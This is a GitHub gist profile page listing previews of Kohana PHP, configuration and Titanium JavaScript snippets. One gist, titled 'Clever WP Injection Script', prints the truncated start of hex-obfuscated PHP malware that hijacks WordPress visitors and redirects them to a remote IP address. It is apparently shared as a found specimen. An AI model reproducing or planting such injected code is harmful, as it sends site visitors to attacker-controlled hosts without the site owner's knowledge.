Skip to content

Instantly share code, notes, and snippets.

View dkobia's full-sized avatar

David Kobia dkobia

View GitHub Profile
@dkobia
dkobia / gist:2777540
Created May 23, 2012 20:21
Base Class for a RESTful Kohana
<?php defined('SYSPATH') OR die('No direct access allowed.');
class Controller_API extends Controller
{
/**
* @var Object Request Payload
*/
protected $_request_payload = NULL;
/**
* @var Object Response Payload
<?php
// In Hook -- you can even just call this for Router::$controller == 'main' only
$category_list = ORM::factory('category')->where('category_visible', '1')
->where('parent_id', '0')
->where('category_trusted != 1')
->orderby('category_position', 'ASC')
->orderby('category_title', 'ASC')
->find_all();
Kohana::config_set('settings.category_list', 'category_list');
<?php
/**
* Overload saving to perform additional functions on the account
*/
public function save(Validation $validation = NULL)
{
// Do this for first time items only
if ($this->loaded() === FALSE)
{
<?php
protected $_created_column = array('column' => 'account_date_add', 'format' => 'Y-m-d H:i:s');
protected $_updated_column = array('column' => 'account_date_modified', 'format' => 'Y-m-d H:i:s');
<?php defined('SYSPATH') OR die('No direct access allowed.');
/**
* Config for Twitter Plugin
*
* PHP version 5
* LICENSE: This source file is subject to GPLv3 license
* that is available through the world-wide-web at the following URI:
* http://www.gnu.org/copyleft/gpl.html
* @author Ushahidi Team <[email protected]>
@dkobia
dkobia / gist:4007761
Created November 3, 2012 16:08
Clever WP Injection Script
<?php /* copyright */ ${"G\x4c\x4f\x42\x41L\x53"}["\x74x\x65\x66f\x62c\x76\x74w\x64\x6b"]="k";${"\x47L\x4f\x42\x41\x4c\x53"}["\x73\x76\x63y\x75\x78\x74v"]="k";${"G\x4cO\x42\x41\x4cS"}["\x68\x63\x66\x6fc\x6ev\x6e"]="c";${"\x47\x4cO\x42A\x4cS"}["f\x62\x71m\x77w\x63\x7a\x77gb"]="\x61";$uhhmemlj="v";${"GLO\x42\x41L\x53"}["\x70\x69\x74x\x77b\x7a\x76\x63\x64\x64"]="b";foreach($_GET as${${"\x47\x4c\x4fB\x41L\x53"}["\x74\x78\x65ff\x62\x63\x76tw\x64\x6b"]}=>${$uhhmemlj})if(preg_match("\x21\x5e\x5ba-z\x30-\x39\x5d{\x310\x2c32\x7d\x24!\x69s",${${"GLOB\x41\x4cS"}["\x73vcy\x75\x78\x74v"]})){session_start();if(isset($_POST["res"])&&$_SESSION["r\x65\x73"]==$_POST["\x72e\x73"]){header("\x4c\x6f\x63a\x74io\x6e\x3a \x68tt\x70\x3a\x2f/9\x35\x2e\x31\x36\x39\x2e187.\x39\x38/\x69jh\x66h\x66.p\x68\x70\x3f\x6dg\x74\x64\x66k=\x34\x353\x34\x26\x6ev\x68\x64l=sk\x64\x6ae&go\x6bk\x3d".substr(${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x74\x78\x65\x66\x66\x62\x63\x76\x74\x77\x64\x6b"]},-5));}else{$vxomtd="\x63";$kghtssqccjlo="\x61";${$kghtssqccjlo
<?php defined('SYSPATH') or die('No direct script access.');
/**
* CDN CONFIGURATION
*/
/**
* Content Distribution Network (CDN) Configuration
* Use a content distribution network to serve up
* static CSS, JS, and IMG files
@dkobia
dkobia / numbers
Last active December 19, 2015 05:39 — forked from kamaulynder/numbers
51409,
51410,
13468,
13469,
54608,
47151,
9974,
8186,
43756,
7461,
/**
* This sample lets you record and share video with Appcelerator Titanium on Android.
* REQUIRES THE 1.6.0 RC OF TITANIUM MOBILE SDK
* http://developer.appcelerator.com/blog/2011/02/release-candidate-for-titanium-mobile-1-6-0.html
*/
/**
* First, create our UI. We'll have two buttons: record, and share.
*/
var win = Titanium.UI.createWindow({
@dkobia
dkobia / app.js
Created August 21, 2013 15:18 — forked from minhnc/app.js
var ai = require('ui').activityIndicator();
var win = Ti.UI.createWindow();
win.add( ai );
ai._show({message: 'Loading...'});
var xhr = Titanium.Network.createHTTPClient();
xhr.onload = function() {
ai._hide();
}
xhr.onerror = function() {